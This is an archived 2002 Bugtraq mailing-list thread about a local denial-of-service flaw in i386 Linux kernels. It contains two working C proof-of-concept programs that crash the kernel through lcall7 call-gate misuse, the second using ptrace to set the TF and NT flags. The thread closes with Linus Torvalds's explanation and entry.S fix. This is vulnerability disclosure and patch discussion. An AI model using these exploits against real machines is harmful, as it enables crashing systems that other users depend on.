84256 2002-11-13  15:11  /22 rader/ Christophe Devine <devine@iie.cnam.fr>
Importerad: 2002-11-13  15:11  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <2377>
Ärende: i386 Linux kernel DoS
------------------------------------------------------------



/* USE AT YOUR OWN RISK ! */

int main( void )
{
    char dos[] = "\x9C"                           /* pushfd       */
                 "\x58"                           /* pop eax      */
                 "\x0D\x00\x01\x00\x00"           /* or eax,100h  */
                 "\x50"                           /* push eax     */
                 "\x9D"                           /* popfd        */
                 "\x9A\x00\x00\x00\x00\x07\x00";  /* call 07h:00h */

    void (* f)( void );

    f = (void *) dos; (* f)();

    return 1;
}
(84256) /Christophe Devine <devine@iie.cnam.fr>/----
84494 2002-11-15  23:12  /39 rader/ Leif Sawyer <lsawyer@gci.com>
Importerad: 2002-11-15  23:12  av Brevbäraren
Extern mottagare: Christophe Devine <devine@iie.cnam.fr>
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <2410>
Ärende: RE: i386 Linux kernel DoS
------------------------------------------------------------
Christophe Devine writes:
> /* USE AT YOUR OWN RISK ! */
> 
> int main( void )
> {
>     char dos[] = "\x9C"                           /* pushfd       */
>                  "\x58"                           /* pop eax      */
>                  "\x0D\x00\x01\x00\x00"           /* or eax,100h  */
>                  "\x50"                           /* push eax     */
>                  "\x9D"                           /* popfd        */
>                  "\x9A\x00\x00\x00\x00\x07\x00";  /* call 07h:00h */
> 
>     void (* f)( void );
> 
>     f = (void *) dos; (* f)();
> 
>     return 1;
> }

You didn't specify which kernel this was being used against, but
this is what the response from LKML is:

> -----Original Message-----
> From: Alan Cox
> Sent: Tuesday, November 12, 2002 3:10 PM
> To: Christoph Hellwig
> Cc: Leif Sawyer; Linux Kernel Mailing List
> Subject: Re: FW: i386 Linux kernel DoS
> 
> 
> On Tue, 2002-11-12 at 23:31, Christoph Hellwig wrote:
> > On Tue, Nov 12, 2002 at 02:28:55PM -0900, Leif Sawyer wrote:
> > > This was posted on bugtraq today...
> > 
> > A real segfaulting program?  wow :)
> 
> Looks like the TF handling bug which was fixed a while ago
(84494) /Leif Sawyer <lsawyer@gci.com>/-------------
84495 2002-11-16  01:55  /59 rader/ Christophe Devine <DEVINE@iie.cnam.fr>
Importerad: 2002-11-16  01:55  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <2411>
Ärende: Re: i386 Linux kernel DoS
------------------------------------------------------------

On Wed, 13 Nov 2002, Stefan Laudat wrote:

> Regarding this issue: is it 80x86 or specifically 80386 designed ?
> Been trying it on AMD Duron, AMD Athlon MP, Intel i586 - just segfaults :(

Yep; the first version of the DoS I posted on bugtraq was defective
and worked only under special conditions (inside gdb for example).

However this updated version works much better:

#include <sys/ptrace.h>

struct user_regs_struct {
        long ebx, ecx, edx, esi, edi, ebp, eax;
        unsigned short ds, __ds, es, __es;
        unsigned short fs, __fs, gs, __gs;
        long orig_eax, eip;
        unsigned short cs, __cs;
        long eflags, esp;
        unsigned short ss, __ss;
};

int main( void )
{
    int pid;
    char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
    void (* lcall7)( void ) = (void *) dos;
    struct user_regs_struct d;

    if( ! ( pid = fork() ) )
    {
        usleep( 1000 );
        (* lcall7)();
    }
    else
    {
        ptrace( PTRACE_ATTACH, pid, 0, 0 );
        while( 1 )
        {
            wait( 0 );
            ptrace( PTRACE_GETREGS, pid, 0, &d );
            d.eflags |= 0x4100; /* set TF and NT */
            ptrace( PTRACE_SETREGS, pid, 0, &d );
            ptrace( PTRACE_SYSCALL, pid, 0, 0 );
        }
    }

    return 1;
}

At the beginning I thought only kernels <= 2.4.18 were affected; but
it appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as
well.  The flaw seems to be related to the kernel's handling of the
nested task  (NT) flag inside a lcall7.

-- 
Christophe Devine
(84495) /Christophe Devine <DEVINE@iie.cnam.fr>/(Ombruten)
Kommentar i text 84543 av Jirka Kosina <jikos@jikos.cz>
84543 2002-11-17  12:56  /110 rader/ Jirka Kosina <jikos@jikos.cz>
Importerad: 2002-11-17  12:56  av Brevbäraren
Extern mottagare: Christophe Devine <DEVINE@iie.cnam.fr>
Mottagare: Bugtraq (import) <2438>
Kommentar till text 84495 av Christophe Devine <DEVINE@iie.cnam.fr>
Ärende: Re: i386 Linux kernel DoS
------------------------------------------------------------
On Wed, 13 Nov 2002, Christophe Devine wrote:

> > Regarding this issue: is it 80x86 or specifically 80386 designed ?
> > Been trying it on AMD Duron, AMD Athlon MP, Intel i586 - just segfaults :(
> Yep; the first version of the DoS I posted on bugtraq was defective and
> worked only under special conditions (inside gdb for example).
> However this updated version works much better:
> At the beginning I thought only kernels <= 2.4.18 were affected; but it
> appeared that both kernels 2.4.19 and 2.4.20-rc1 are vulnerable as well.
> The flaw seems to be related to the kernel's handling of the nested task 
> (NT) flag inside a lcall7. 

Reposting mail from Linus to linux-kernel mailing list.

== cut here ==

From torvalds@transmeta.com Thu Nov 14 19:27:17 2002
Date: Thu, 14 Nov 2002 10:12:53 -0800 (PST)
From: Linus Torvalds <torvalds@transmeta.com>
Subject: Re: FW: i386 Linux kernel DoS


Ok, the reason for this one is that we don't really emulate a
trap/interrupt gate correctly when taking a lcall. We _do_ set up the
stack to be identical, but a real trap/interrupt will also clear TF
and NT  in EFLAGS on entry to the kernel (_after_ having saved the
value off), and  our emulation code didn't do that.

So when we returned with an "iret", we had NT set in EFLAGS, causing
the iret to do all the wrong things.

This is my 2.5.x fix, I suspect it applies as-is to 2.4.x too. I don't 
think anything has changed here in a long time. 

Does anybody see anything else we're missing from the emulation path? 

(Or path_s_, as I noticed after fixing the bug once already ;^p. We
should probably try to do this all as common code rather than having
two separate paths for lcall 0x7 and lcall 0x27 - the code is
identical apart from one little constant.. This looks like the
minimal patch, though.)

		Linus

-----
# The following is the BitKeeper ChangeSet Log
# --------------------------------------------
# 02/11/14	torvalds@home.transmeta.com	1.848
# Fix impressive call gate misuse DoS reported on bugtraq.
# --------------------------------------------
# 02/11/14	torvalds@home.transmeta.com	1.849
# Duh. Fix the other lcall entry point too.
# --------------------------------------------
#
diff -Nru a/arch/i386/kernel/entry.S b/arch/i386/kernel/entry.S
--- a/arch/i386/kernel/entry.S	Thu Nov 14 09:59:08 2002
+++ b/arch/i386/kernel/entry.S	Thu Nov 14 09:59:08 2002
@@ -66,7 +66,9 @@
 OLDSS		= 0x38
 
 CF_MASK		= 0x00000001
+TF_MASK		= 0x00000100
 IF_MASK		= 0x00000200
+DF_MASK		= 0x00000400 
 NT_MASK		= 0x00004000
 VM_MASK		= 0x00020000
 
@@ -134,6 +136,17 @@
 	movl %eax,EFLAGS(%esp)	#
 	movl %edx,EIP(%esp)	# Now we move them to their "normal" places
 	movl %ecx,CS(%esp)	#
+
+	#
+	# Call gates don't clear TF and NT in eflags like
+	# traps do, so we need to do it ourselves.
+	# %eax already contains eflags (but it may have
+	# DF set, clear that also)
+	#
+	andl $~(DF_MASK | TF_MASK | NT_MASK),%eax
+	pushl %eax
+	popfl
+
 	movl %esp, %ebx
 	pushl %ebx
 	andl $-8192, %ebx	# GET_THREAD_INFO
@@ -156,6 +169,17 @@
 	movl %eax,EFLAGS(%esp)	#
 	movl %edx,EIP(%esp)	# Now we move them to their "normal" places
 	movl %ecx,CS(%esp)	#
+
+	#
+	# Call gates don't clear TF and NT in eflags like
+	# traps do, so we need to do it ourselves.
+	# %eax already contains eflags (but it may have
+	# DF set, clear that also)
+	#
+	andl $~(DF_MASK | TF_MASK | NT_MASK),%eax
+	pushl %eax
+	popfl
+
 	movl %esp, %ebx
 	pushl %ebx
 	andl $-8192, %ebx	# GET_THREAD_INFO

== cut here ==

-- 
JiKos.
(84543) /Jirka Kosina <jikos@jikos.cz>/---(Ombruten)